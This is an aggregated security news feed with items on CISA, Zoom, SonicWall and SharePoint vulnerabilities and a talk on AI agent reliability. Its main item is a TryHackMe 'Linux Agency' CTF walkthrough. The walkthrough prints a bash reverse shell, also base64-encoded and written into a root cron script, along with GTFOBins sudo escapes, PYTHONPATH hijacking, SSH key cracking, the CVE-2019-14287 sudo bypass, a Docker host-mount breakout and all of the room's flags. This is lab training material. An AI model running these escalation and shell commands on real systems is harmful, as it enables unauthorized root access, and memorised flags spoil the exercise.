CISA Warns of Two Fortinet FortiSandbox Flaws Exploited to Execute Commands

Fri, 17 Jul 2026 10:37:59 +0200

The Cybersecurity and Infrastructure Security Agency (CISA) added two Fortinet FortiSandbox vulnerabilities to its Known Exploited Vulnerabilities (KEV) catalog on July 16, 2026, confirming active exploitation of both flaws in the wild. Both vulnerabilities, tracked as CVE-2026-39808 and CVE-2026-25089, share a common root cause: OS command injection (CWE-78). This class of vulnerability arises when an […]

The post CISA Warns of Two Fortinet FortiSandbox Flaws Exploited to Execute Commands appeared first on Cyber Security News.

TryHackMe — Linux Agency | Complete Write-Up & Walkthrough

Fri, 17 Jul 2026 09:09:38 +0200

“Agent 47, your mission begins. 30 targets stand between you and the root.”
Author: Shikhali Jamalzade
GitHub: github.com/alisalive
LinkedIn: linkedin.com/in/camalzads

📋 Room Overview

Platform TryHackMe
Room Name Linux Agency
Link https://tryhackme.com/room/linuxagency
Difficulty Medium
Category Linux Fundamentals + Privilege Escalation
Initial Access SSH (agent47)

🎯 About This Room

Linux Agency is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of Agent 47 — a secret agent tasked with infiltrating the ICA Agency, chaining through 30 mission accounts, eliminating special targets, and ultimately achieving root.

This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:

🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)
💻 Multiple programming languages (Python, Ruby, Java, C)
🔐 Encoding/decoding (Base64, Binary, Hex)
📅 Cron job exploitation
⚡ Sudo privilege escalation via GTFOBins
🐳 Docker privilege escalation
🔑 SSH private key cracking

🛠️ Tools Used

ssh, su, find, grep, cat, ls, strings, file
base64, xxd
gcc, javac, java, python3, ruby
netcat (nc)
ssh2john + john (John the Ripper)
ss (socket statistics)
GTFOBins
Docker

⚙️ Setup

Start the machine on TryHackMe and wait about a minute. Then connect:

ssh agent47@

Password: 640509040147

Once connected you’ll see:

agent47@linuxagency:~$

The mission begins. 🚀

🗂️ Task 2: Initial Access

The room’s mechanic is straightforward:

Every flag found acts as the password for the next user
Flag format: missionX{md5_hash}
Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...

🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)

🎯 Mission 1

As agent47, the first task is finding mission1’s flag.

find / -type f -name "*.txt" 2>/dev/null
# Or directly check:
ls /home/mission1/
cat /home/mission1/

Now switch to mission1:

su mission1
# Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}

💡 What we learned: find for filesystem-wide searching, understanding the /home directory structure.

🎯 Mission 2

As mission1:

find / -type f -name "mission2" 2>/dev/null
cat

su mission2
# Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}

🎯 Mission 3

# As mission2:
grep -r "mission3" . 2>/dev/null

su mission3
# Password: mission3{ab1e1ae5cba688340825103f70b0f976}

💡 What we learned: grep -r for recursive content searching across directories.

🎯 Mission 4

# As mission3:
cd /home/mission3
ls
cat flag.txt

su mission4
# Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}

🎯 Missions 5–8

These follow a similar pattern — searching the filesystem:

# As mission4:
grep -r "mission5" / 2>/dev/null
su mission5
# Password: mission5{bc67906710c3a376bcc7bd25978f62c0}

# As mission5:
grep -r "mission6" / 2>/dev/null
su mission6
# Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}

# As mission6:
grep -r "mission7" / 2>/dev/null
su mission7
# Password: mission7{53fd6b2bad6e85519c7403267225def5}

# As mission7:
grep -r "mission8" / 2>/dev/null
su mission8
# Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}

🎯 Mission 9

# As mission8:
ls
cat flag.txt

su mission9
# Password: mission9{ba1069363d182e1c114bef7521c898f5}

🎯 Missions 10–11

# As mission9:
grep -r "mission10" / 2>/dev/null
su mission10
# Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}

# As mission10:
grep -r "mission11" / 2>/dev/null
su mission11
# Password: mission11{db074d9b68f06246944b991d433180c0}

🎯 Mission 12 — Environment Variable

This time the flag is hidden inside an environment variable, not a file!

# As mission11:
env | grep mission12

su mission12
# Password: mission12{f449a1d33d6edc327354635967f9a720}

💡 What we learned: The env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!

🎯 Mission 13 — File Permissions

# As mission12:
ls -la /home/mission12/
# flag.txt exists but you have no read permission!
chmod 777 /home/mission12/flag.txt
cat /home/mission12/flag.txt

su mission13
# Password: mission13{076124e360406b4c98ecefddd13ddb1f}

💡 What we learned: Linux file permissions and chmod. Always use ls -la — the -a flag reveals hidden files and the -l flag shows permissions clearly.

🎯 Mission 14 — Base64 Decode

# As mission13:
cat /home/mission13/flag.txt | base64 -d

su mission14
# Password: mission14{d598de95639514b9941507617b9e54d2}

💡 What we learned: Base64 encoding/decoding. Strings ending with = or == are almost always Base64-encoded. The base64 -d flag decodes them directly in the terminal.

🎯 Mission 15 — Binary → ASCII

# As mission14:
cat /home/mission14/flag.txt
# You'll see binary digits: 01101101 01101001 ...

Convert the binary to ASCII using Python:

python3 -c "
binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'
chars = binary.split()
result = ''.join([chr(int(b, 2)) for b in chars])
print(result)
"

Or use an online tool: https://www.rapidtables.com/convert/number/binary-to-ascii.html

su mission15
# Password: mission15{fc4915d818bfaeff01185c3547f25596}

💡 What we learned: Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.

🎯 Mission 16 — Hex → ASCII

# As mission15:
cat /home/mission15/flag.txt | xxd -r -p

xxd -r -p converts a raw hex string directly back to ASCII.

su mission16
# Password: mission16{884417d40033c4c2091b44d7c26a908e}

💡 What we learned: Hex decoding. xxd dumps hex (-p for plain hex), and with -r it reverses the process.

🎯 Mission 17 — Execute Permission

# As mission16:
ls -la /home/mission16/
# There's a 'flag' binary but it has no execute permission
chmod u+x /home/mission16/flag
./flag

su mission17
# Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}

🎯 Mission 18 — Java

# As mission17:
ls /home/mission17/
# flag.java found
cd /home/mission17/
javac flag.java      # Compile
java flag            # Run

su mission18
# Password: mission18{f09760649986b489cda320ab5f7917e8}

💡 What we learned: Java compilation workflow: javac compiles .java → .class, then java runs the class.

🎯 Mission 19 — Ruby

# As mission18:
ruby /home/mission18/flag.rb

su mission19
# Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}

🎯 Mission 20 — C Language

# As mission19:
cd /home/mission19/
gcc flag.c -o flag   # Compile
./flag               # Run

su mission20
# Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}

💡 What we learned: C compilation: gcc source.c -o output_name then ./output_name to execute.

🎯 Mission 21 — Python

# As mission20:
python3 /home/mission20/flag.py

su mission21
# Password: mission21{7de756aabc528b446f6eb38419318f0c}

🎯 Mission 22 — Restricted Shell Escape (script)

When you log in as mission21, you’re dropped into a restricted shell. Escape using:

script -qc /bin/bash /dev/null

This spawns a full bash shell. Now check .bashrc:

cat ~/.bashrc
# You'll find a Base64-encoded string
echo '' | base64 -d

su mission22
# Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}

💡 What we learned: Restricted shell escape using the script command, which opens a new terminal session. Always check .bashrc and .bash_profile — attackers hide data there, and defenders do too.

🎯 Mission 23 — Python Interpreter Shell Escape

Logging in as mission22 drops you into a Python REPL. Escape to bash:

import pty
pty.spawn("/bin/bash")

Now read the flag:

cat /home/mission22/flag.txt

su mission23
# Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}

💡 What we learned: Python pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!

🎯 Mission 24 — Virtual Host + cURL

# As mission23:
cat /home/mission23/message.txt
cat /etc/hosts
# You'll see mission24.com mapped to 127.0.0.1
curl http://mission24.com -s | grep mission

su mission24
# Password: mission24{dbaeb06591a7fd6230407df3a947b89c}

💡 What we learned: Virtual hosting — the /etc/hosts file acts as a local DNS resolver. In real engagements, always check /etc/hosts for internal hostnames that reveal additional attack surface.

🎯 Mission 25 — Binary Analysis + viminfo

# As mission24:
ls /home/mission24/
file bribe              # Check the file type
./bribe                 # Execute it — it writes to .viminfo
grep mission /home/mission24/.viminfo

su mission25
# Password: mission25{61b93637881c87c71f220033b22a921b}

💡 What we learned: The file command identifies file types regardless of extension. .viminfo is a hidden file storing Vim history — always run ls -la to catch hidden files!

🎯 Mission 26 — PATH Manipulation

Logging in as mission25 gives you a broken environment — commands don’t work because $PATH is corrupted.

echo $PATH
# Empty or wrong PATH

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ls -lhA
cat flag.txt

su mission26
# Password: mission26{cb6ce977c16c57f509e9f8462a120f00}

💡 What we learned: The $PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.

🎯 Mission 27 — Steganography with strings

# As mission26:
ls /home/mission26/
strings -n 20 /home/mission26/flag.jpg

strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.

su mission27
# Password: mission27{444d29b932124a48e7dddc0595788f4d}

💡 What we learned: Basic steganography — data hidden inside image files. strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.

🎯 Mission 28 — Absurdly Long Filename

# As mission27:
ls /home/mission27/
less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz

Yes, the filename is exactly that long. less handles it fine.

su mission28
# Password: mission28{03556f8ca983ef4dc26d2055aef9770f}

🎯 Mission 29 — Ruby Interpreter + Reverse String

Logging in as mission28 drops you into a Ruby REPL.

Option 1 — Escape to shell:

exec "/bin/bash"

Option 2 — Read the file directly from Ruby:

Dir.chdir("/home/mission28")
puts File.open("txt.galf").readlines

The flag is written in reverse! You’ll see something like:

'}1fff2ad47eb52e68523621b8d50b2918{92noissim'

Reverse it:

'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse

su mission29
# Password: mission29{8192b05d8b12632586e25be74da2fff1}

💡 What we learned: Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename txt.galf — that's flag.txt reversed!

🎯 Mission 30 — Bludit CMS Enumeration

# As mission29:
ls /home/mission29/
grep -rn "mission30" /home/mission29/bludit/

The flag is buried inside Bludit CMS’s file structure.

su mission30
# Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}

🎯 Viktor — Git History

# As mission30:
ls /home/mission30/
cd /home/mission30/Escalator/
git --no-pager log

Browse the git commit history — the flag is hidden in there.

su viktor
# Password: viktor{b52c60124c0f8f85fe647021122b3d9a}

💡 What we learned: git log reveals commit history. In real-world pentesting, exposed git repositories are a goldmine — credentials, API keys, and internal logic are frequently committed and never properly removed.

🔓 Task 4: Privilege Escalation

You’re now viktor. The “special targets” phase begins — each user requires a different privilege escalation technique.

🎯 Dalia — Cron Job Exploitation

# As viktor:
cat /etc/crontab

Output:

* * * * * root bash /opt/scripts/47.sh

Root runs /opt/scripts/47.sh every minute. Check the script and your permissions:

cat /opt/scripts/47.sh
ls -la /opt/scripts/47.sh
# You have write access!

Step 1: Create your reverse shell payload:

vim /tmp/eop.sh

Contents:

#!/bin/bash
bash -i >& /dev/tcp/127.0.0.1/9999 0>&1

Step 2: Base64-encode it and overwrite the cron script:

cat /tmp/eop.sh | base64 -w 0
# Copy the output, then:
echo 'IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx' | base64 -d > /opt/scripts/47.sh

Step 3: Set up your listener:

nc -nlvp 9999

Wait up to 60 seconds. The cron job fires and you get a shell as dalia:

# In the received shell:
id
# uid=1000(dalia) ...
cat /home/dalia/flag.txt

Upgrade the shell (important for stability):

python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
export SHELL=bash
# Press Ctrl+Z
stty raw -echo; fg

Flag: dalia{4a94a7a7bb4a819a63a33979926c77dc}

💡 What we learned: Cron job exploitation — one of the most common Linux PrivEsc vectors in the wild. The checklist: find writable scripts executed by root → inject reverse shell → wait. Always enumerate /etc/crontab, /etc/cron.d/, and /var/spool/cron/.

🎯 Silvio — sudo + zip (GTFOBins)

# As dalia:
sudo -l
# (dalia) NOPASSWD: /usr/bin/zip as silvio

From GTFOBins — zip sudo escape:

TF=$(mktemp -u)
sudo -u silvio zip $TF /etc/hosts -T -TT 'sh #'

id
# uid=... (silvio)
cat /home/silvio/flag.txt

Flag: silvio{657b4d058c03ab9988875bc937f9c2ef}

💡 What we learned: GTFOBins — the essential reference for abusing binaries with sudo, SUID, or capabilities. When you see sudo -l, immediately cross-reference every allowed binary against GTFOBins.

🎯 Reza — sudo + git (GTFOBins)

# As silvio:
sudo -l
# (silvio) NOPASSWD: /usr/bin/git as reza

GTFOBins git sudo escape (uses PAGER environment variable):

sudo -u reza PAGER='sh -c "exec sh 0<&1"' git -p help

id
# uid=... (reza)
cat /home/reza/flag.txt

Flag: reza{2f1901644eda75306f3142d837b80d3e}

💡 What we learned: Git’s --paginate (-p) feature invokes a pager, and by hijacking the PAGER env variable we execute arbitrary commands. Many programs that invoke external processes are susceptible to this pattern.

🎯 Jordan — PYTHONPATH Hijacking

# As reza:
sudo -l
# (reza) NOPASSWD: /opt/scripts/Gun-Shop.py as jordan

Run the script:

sudo -u jordan /opt/scripts/Gun-Shop.py
# Error: No module named 'shop'

The script imports a module called shop which doesn't exist. We can create it in a directory we control:

Step 1: Create a malicious shop module:

mkdir -p /tmp/shop
echo 'import os; os.system("/bin/bash")' > /tmp/shop/shop.py

Step 2: Override PYTHONPATH so Python finds our module first:

sudo -u jordan PYTHONPATH=/tmp/shop/ /opt/scripts/Gun-Shop.py

id
# uid=... (jordan)
cat /home/jordan/flag.txt

Flag: jordan{fcbc4b3c31c9b58289b3946978f9e3c3}

💡 What we learned: Python module hijacking — a real-world PrivEsc technique. PYTHONPATH tells Python where to search for modules before the standard library paths. If an attacker controls a directory early in that path, they can substitute any module with malicious code.

🎯 Ken — sudo + less (GTFOBins)

# As jordan:
sudo -l
# (jordan) NOPASSWD: /usr/bin/less as ken

sudo -u ken /usr/bin/less /etc/profile

Once less opens, type ! followed by:

!/bin/sh

Press Enter — you drop into a shell as ken.

id
cat /home/ken/flag.txt

Flag: ken{4115bf456d1aaf012ed4550c418ba99f}

🎯 Sean — sudo + vim (GTFOBins)

# As ken:
sudo -l
# (ken) NOPASSWD: /usr/bin/vim as sean

sudo -u sean vim -c ':!/bin/sh'

The -c flag runs a Vim command on startup. :!/bin/sh executes a shell command from within Vim.

id
cat /home/sean/flag.txt

Flag: sean{4c5685f4db7966a43cf8e95859801281}

💡 What we learned: Vim is far more than a text editor — it can execute shell commands, run scripts, and spawn processes. Granting sudo vim to any user is effectively granting root.

🎯 Penelope — Password Hidden in Base64

# As sean:
printf %s 'VGhlIHBhc3N3b3JkIG9mIHBlbmVsb3BlIGlzIHAzbmVsb3BlCg==' | base64 -d
# Output: "The password of penelope is p3nelope"

su penelope
# Password: p3nelope
cat /home/penelope/flag.txt

Flag: penelope{2da1c2e9d2bd0004556ae9e107c1d222}

🎯 Maya — SUID base64 (GTFOBins)

# As penelope:
ls -lhA /home/penelope/
# A 'base64' binary with the SUID bit set!

GTFOBins SUID base64 exploit — read files as the binary’s owner:

LFILE=/home/maya/flag.txt
./base64 "$LFILE" | base64 -d

Flag: maya{a66e159374b98f64f89f7c8d458ebb2b}

💡 What we learned: SUID (Set User ID) — when set on a binary, it executes with the file owner’s privileges rather than the caller’s. Find SUID binaries with: find / -perm -4000 2>/dev/null. Cross-reference every result with GTFOBins.

🎯 Robert — SSH Private Key Cracking

# As maya:
ls -lhA /home/maya/
ls -lhA /home/maya/old_robert_ssh/
# id_rsa and id_rsa.pub found

Step 1: Copy the private key to your local machine (new terminal tab):

scp maya@:/home/maya/old_robert_ssh/id_rsa ./id_rsa_robert
chmod 600 id_rsa_robert

Step 2: Convert the key to a crackable hash:

ssh2john id_rsa_robert > robert_ssh_hash.txt

Step 3: Crack it with John the Ripper:

john robert_ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt

Result: industryweapon

Step 4: Find Robert’s SSH port on the target:

# On the target machine:
ss -nlpt | grep 22
# Port 2222 is listening

Step 5: Connect:

ssh robert@127.0.0.1 -p 2222 -i id_rsa_robert
# Passphrase: industryweapon
cat /home/robert/user.txt

Flag (user.txt): user{620fb94d32470e1e9dcf8926481efc96}

💡 What we learned: SSH private key cracking — ssh2john extracts the hash, john cracks it. In real engagements, always look for id_rsa files in home directories, backup folders, and .ssh/ directories. Encrypted keys with weak passphrases are a common finding.

👑 Root — Two-Stage Escalation

Stage 1: CVE-2019–14287 (Sudo User ID Bypass)

# As robert:
sudo --version
# Reveals a vulnerable version (< 1.8.28)
sudo -u#-1 /bin/bash
whoami
# root!

How it works: This is CVE-2019–14287. When a sudoers rule allows a user to run commands as any user, passing -u#-1 causes sudo to interpret the user ID as 0 (root) due to an integer overflow in how sudo handles negative UIDs. Patched in sudo 1.8.28.

cd /root
ls

Stage 2: Docker Group → Root (root.txt)

# As root (inside the container/restricted environment):
id
# You're in the docker group
find / -name docker 2>/dev/null
# Found at /tmp/docker or similar
./docker ps -a
./docker image ls
# "mangoman" image exists

Mount the host filesystem into a container and chroot into it:

./docker run -v /:/mnt --rm -it mangoman chroot /mnt sh

id
# uid=0(root) gid=0(root) — TRUE host root
cat /root/root.txt

Flag (root.txt): root{62ca2110ce7df377872dd9f0797f8476}

💡 What we learned: Docker group membership is equivalent to root access. -v /:/mnt mounts the entire host filesystem into the container, and chroot /mnt makes the container treat the host filesystem as its root. This is a well-documented container escape — never add untrusted users to the docker group.

🏆 Flags Summary

User Technique Category mission1–11 find / grep / cat Basic enumeration mission12 env Environment variables mission13 chmod File permissions mission14 base64 -d Encoding mission15 Binary → ASCII Encoding mission16 xxd -r -p (Hex) Encoding mission17 chmod u+x Execute permissions mission18 javac + java Java compilation mission19 ruby Scripting mission20 gcc C compilation mission21 python3 Scripting mission22 script -qc Restricted shell escape mission23 pty.spawn() Python interpreter escape mission24 curl + /etc/hosts Virtual hosting mission25 strings + .viminfo Binary analysis mission26 export PATH PATH manipulation mission27 strings on image Steganography mission28 less Long filename edge case mission29 exec in Ruby + .reverse Ruby escape + obfuscation mission30 grep -r in CMS File enumeration viktor git log Git history dalia Writable cron script Cron job exploitation silvio sudo zip GTFOBins reza sudo git + PAGER GTFOBins jordan PYTHONPATH hijack Module hijacking ken sudo less + ! GTFOBins sean sudo vim -c GTFOBins penelope Base64 password Encoded credentials maya SUID base64 SUID exploitation robert ssh2john + john SSH key cracking root (user.txt) sudo -u#-1 CVE-2019-14287 root (root.txt) docker run -v /:/mnt Docker breakout

🧠 Key Takeaways

Linux Fundamentals:

ls -la always — hidden files, permissions at a glance
find and grep -r for wide enumeration
env for environment variable inspection
file to identify file types regardless of extension
strings to extract readable data from binaries

Encoding & Decoding:

Base64 (base64 -d), Hex (xxd -r -p), Binary (Python one-liner)
Reversed strings — check file content and filenames alike

Scripting Languages:

Python: pty.spawn("/bin/bash") for shell upgrade
Ruby: exec "/bin/bash" or Dir/File for file ops
Java: javac → java, C: gcc → ./binary

Privilege Escalation Checklist:

sudo -l → GTFOBins
find / -perm -4000 2>/dev/null → SUID binaries → GTFOBins
cat /etc/crontab + ls /etc/cron.d/ → writable scripts run by root
id → check group memberships (docker!)
Check $PATH, env variables, writable directories in PATH

📚 Resources

🔗 GTFOBins — sudo/SUID binary exploitation reference
🔗 PayloadsAllTheThings — Reverse Shell Cheatsheet
🔗 Exploit-DB: CVE-2019–14287
🔗 TryHackMe: Sudo Security Bypass
🔗 HackTricks: Docker Breakout
🔗 RapidTables Converter

💬 Final Thoughts

Linux Agency is not just a CTF room — it’s a condensed simulation of a real lateral movement and privilege escalation engagement. The 30-user chain forces you to internalize Linux enumeration as a reflex, not a checklist. The privilege escalation phase covers more ground than most dedicated PrivEsc rooms.

If you’re preparing for OSCP, CPTS or any practical security certification, this room belongs in your training regimen. Do it without hints first, refer to this write-up only when truly stuck — the struggle is where the learning happens.

Happy Hacking! 🐧

Tags: #TryHackMe #CTF #LinuxAgency #PrivilegeEscalation #Linux #Pentesting #CyberSecurity #OSCP #GTFOBins #WriteUp

If you found this useful, feel free to connect on LinkedIn or check out my tools on GitHub.

TryHackMe — Linux Agency | Complete Write-Up & Walkthrough was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Zoom patches account takeover hole

Thu, 16 Jul 2026 19:53:24 +0200

Zoom has identified, and patched, a critical security hole that “may allow an unauthenticated user to conduct an account takeover via network access.”

The issue is especially significant given Zoom’s extensive reach; it reportedly has more than 300 million daily active users, including 470,000 paying business customers. Given that reach, Zoom has been impacted by many other security incidents and France recently tried banning its use by French government users.

Zoom security bulletins released Tuesday revealed the bug, and three other security issues, which Zoom patched on Wednesday.

The company originally said that the takeover issue impacted Zoom Desktop Client for Windows before version 7.0.0, Zoom VDI Client for Windows before version 7.0.10 and 6.6.15 and 6.5.18 in their respective branches, and Zoom Meeting SDK for Windows, but on Wednesday, without explanation, it removed Meeting SDK for Windows as an affected product.

The other three holes were less severe, but still significant, and they all involved privilege escalation. They impacted Zoom Workplace for Windows before version 7.0.5, Zoom Workplace VDI Client for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Workplace VDI plugin for Windows before 6.5.17 and 6.6.14 in their respective branches, Zoom Rooms for Windows before 7.0.5 and Remote Control for Zoom Contact Center for Windows before version 7.0.0.

A second privilege escalation issue impacted Zoom Rooms for Windows before version 7.1.0, and another impacted Zoom Workplace VDI Plugin for Windows before version 6.6.14.

Zoom did not immediately reply to a request for comment.

‘As bad as it gets’

Frank Dickson, group VP for security at IDC, said the nature of the reported hole is alarming.

This bug “is about as bad as it gets, short of a worm. It is exploitable over the network, low complexity, zero privileges required, no user interaction needed,” he said, pointing out that exploitation is easy once technical details leak or someone reverse-engineers the patch, which is not as challenging as it once was, thanks to AI. “Yesterday’s script kiddies have been empowered,” he said.

Dickson said the only good news is that Zoom discovered the hole itself, and that “no in-the-wild exploitation has been reported by any outlet as of Thursday.”

Consultant Brian Levine, executive director of FormerGov, agreed with Dickson’s characterization of the hole, but said a potentially bigger issue is the high level of sensitive data that Zoom accesses.

“An attacker with unfettered access to a Zoom account may be able to listen to recordings of sensitive meetings, to eavesdrop on future meetings, and to impersonate the organization in an effort to social engineer its clients and partners. Thus, given that ubiquity of Zoom in large enterprises, this vulnerability is pretty concerning,” Levine said.

He’s encouraged, however, that Zoom found the flaw itself, which indicates its security team is “actually doing the hard, unglamorous work of auditing its code.”

Giuseppe Trotta, principal security researcher at Malwarebytes, has a theory about what was behind the Zoom disclosure.

“Because the vulnerability requires zero privileges and absolutely no user interaction, the remote network attack vector is highly suspected to involve the mishandling of deep links, such as custom URL schemes like zoommtg:// or zoomworkplace://,” he said. This led him to think that if the Zoom Workplace client for Windows fails to properly sanitize and validate incoming arguments passed via these special browser-to-desktop links, an unauthenticated attacker could craft a malicious string that could trick the desktop application into exposing or redirecting the user’s active session tokens directly to an attacker-controlled server, achieving a seamless and completely silent account takeover.

“Watch out for Zoom links and invites if you are on Windows or VDI and haven’t updated yet,” he advised.

Mike Wilkes, enterprise CISO at Aikido Security, offered kudos to Zoom for discovering the critical flaw, but he wanted to know how such a severe bug got into its software initially.

“This vulnerability raises questions about why the defect was not caught by design review, fuzzing, or pre-release abuse-case testing,” Wilkes said. “A historical defect in Zoom’s product/security relationship has been prioritizing ease of use over security risk.”

All four bugs important

Justin Greis, CEO of consulting firm Acceligence, said that the two types of holes reported by Zoom, account takeover and escalation, are both important, but for different reasons.

“The critical vulnerability is significant because it has the characteristics security teams worry about most,” Greis said, but the privilege escalation holes “are certainly important to patch as they primarily increase the impact of an attack that has already begun. The critical vulnerability has the potential to be an initial entry point, which is why it deserves the most attention.”

Greis also applauded Zoom’s response, saying that it “reflects a reasonably mature security program.”

He pointed out that no complex software platform will eliminate vulnerabilities entirely. “The differentiator is whether vendors are continuously investing in offensive testing, finding weaknesses before attackers do, and moving quickly to develop and distribute fixes,” he said.

This article originally appeared on Computerworld.

Zoom patches account takeover hole

Thu, 16 Jul 2026 19:47:37 +0200

Zoom has identified, and patched, a critical security hole that “may allow an unauthenticated user to conduct an account takeover via network access.”

Zoom security bulletins released Tuesday revealed the bug, and three other security issues, which Zoom patched on Wednesday.

A second privilege escalation issue impacted Zoom Rooms for Windows before version 7.1.0, and another impacted Zoom Workplace VDI Plugin for Windows before version 6.6.14.

Zoom did not immediately reply to a request for comment.

‘As bad as it gets’

Frank Dickson, group VP for security at IDC, said the nature of the reported hole is alarming.

Dickson said the only good news is that Zoom discovered the hole itself, and that “no in-the-wild exploitation has been reported by any outlet as of Thursday.”

He’s encouraged, however, that Zoom found the flaw itself, which indicates its security team is “actually doing the hard, unglamorous work of auditing its code.”

Giuseppe Trotta, principal security researcher at Malwarebytes, has a theory about what was behind the Zoom disclosure.

“Watch out for Zoom links and invites if you are on Windows or VDI and haven’t updated yet,” he advised.

Mike Wilkes, enterprise CISO at Aikido Security, offered kudos to Zoom for discovering the critical flaw, but he wanted to know how such a severe bug got into its software initially.

All four bugs important

Justin Greis, CEO of consulting firm Acceligence, said that the two types of holes reported by Zoom, account takeover and escalation, are both important, but for different reasons.

Greis also applauded Zoom’s response, saying that it “reflects a reasonably mature security program.”

CISA warns of actively exploited SharePoint flaws.

Thu, 16 Jul 2026 18:41:30 +0200

A new stealthy ransomware family emerges. Law enforcement operation disrupts international fraud scheme.

Amazon AGI director says AI agent reliability, not capability, is blocking enterprise deployment at VB Transform 2026

Thu, 16 Jul 2026 18:19:10 +0200

The enterprise AI industry has a math problem. Cisco data shows 85% of enterprises are piloting AI agents, but only 5% have shipped them to production. At VB Transform 2026 on Tuesday, Bryan Silverthorn, Director of AGI Autonomy at Amazon, explained why that gap persists — and why the answer isn't better benchmarks.

Silverthorn, who joined Amazon through its acquisition of Adept AI and now leads multimodal agent training inside the company's AGI lab, argued that reliability must be broken into four distinct dimensions: consistency, robustness, predictability, and safety — a framework he credits to research from Princeton.

"It unpacks different factors that I see tangled together in almost every eval I've ever seen," he said.

Why AI agents pass internal evals but fail real customers in production

The framework matters because agents routinely ace internal evaluations and then collapse in the wild. Silverthorn described a customer that deployed an agent for software QA involving serial number extraction from screens. It worked flawlessly for two months — then began intermittently reading wrong numbers. The culprit: the underlying vision encoder behaved differently depending on where the serial number appeared on screen, and a software change imperceptible to humans triggered the failure.

The lesson, Silverthorn said, is about measurement, not just models. "The models have to be better. Obviously, we're working hard on making the models better," he said. But the deeper takeaway, he added, is that teams need to identify their dimensions of variability and match measurement rigor to the stakes of the application. VentureBeat's own proprietary research, presented before the session, reinforces the point: half of surveyed companies shipped agents that passed internal evals but failed real customers, and enterprises overwhelmingly track uptime while ignoring accuracy — checking the pulse without checking the diagnosis. A related finding underscored how few guardrails exist: most enterprises default to the model makers' own evaluations and little else, leaving their testing strategy, as I described it on stage, a coin flip between trusting the vendor and trusting nothing.

Inside Amazon's 'intern' framework for managing autonomous AI agents

Silverthorn's most memorable prescription was cultural, not technical. Inside Amazon's AGI lab, researchers literally call their agents "interns" — as in, "I'll have my intern talk to your intern." The joke carries a serious operational philosophy. Agents, like interns, are powerful but occasionally clueless, capable of amazing work and spectacular derailment.

Managing them, he argued, requires management skills rather than software skills: asking what could go wrong, adding backups and undo capabilities, and consciously deciding what risk you can accept. "You can ask the intern, 'Hey, what might you do wrong here? How might you mitigate your negative outcomes?'" he said. Amazon's lab has embraced that trade-off, accepting agents occasionally running the wrong experiment in exchange for research velocity — including one agent running experiments around the clock on its own high-level research plan.

What enterprise leaders should do before deploying agents at scale

Silverthorn was candid about the limits of today's technology. Self-improving AI remains "a loaded term," he said — Amazon uses AI to improve its models constantly, but fully autonomous self-improvement is distant. Computer use remains a core focus of his lab, with a commercial trucking customer already using browser automation to stitch together warranty claims across fragmented systems**, though he stressed that no future agent will rely on computer use alone — it will work alongside MCP, APIs, and other tools to complete end-to-end workflows**. And LLM-as-judge techniques, while promising, are just one of several strategies for aligning agent capability with acceptable risk.

For enterprises stuck in pilot purgatory, the path forward starts with a mindset shift: stop asking whether your agent can do something impressive once, and start asking whether it can do it correctly a thousand times in a row.

In other words, the enterprises that escape the 85% ceiling won't be the ones with the smartest agents. They'll be the ones with the best managers.

Hackers Actively Exploiting SonicWall SMA1000 0-Day Vulnerability in the Wild

Thu, 16 Jul 2026 17:23:49 +0200

SonicWall disclosed two vulnerabilities affecting its SMA1000 Series remote access appliances, and threat actors were already exploiting one of them before the advisory even went public. The flaws include a critical server-side request forgery (SSRF) bug, CVE-2026-15409, scoring a perfect…

The post Hackers Actively Exploiting SonicWall SMA1000 0-Day Vulnerability in the Wild appeared first on IT Security News.

Hackers Actively Exploiting SonicWall SMA1000 0-Day Vulnerability in the Wild

Thu, 16 Jul 2026 16:23:15 +0200

The post Hackers Actively Exploiting SonicWall SMA1000 0-Day Vulnerability in the Wild appeared first on Cyber Security News.

CISA urges immediate SharePoint hardening as exploits mount

Thu, 16 Jul 2026 14:33:40 +0200

The US Cybersecurity and Infrastructure Security Agency (CISA) has urged organizations to immediately secure Microsoft SharePoint deployments after warning that three vulnerabilities affecting the on-premises collaboration platform are being actively exploited.

A recent advisory from the federal cybersecurity watchdog asked administrators to patch vulnerable servers, review Microsoft’s mitigation guidance, and assume that internet-facing SharePoint instances remain attractive targets for attackers seeking an initial foothold into enterprise environments.

While applying patches remains the immediate priority, security experts caution that organizations should view the advisory as more than another Patch Tuesday exercise.

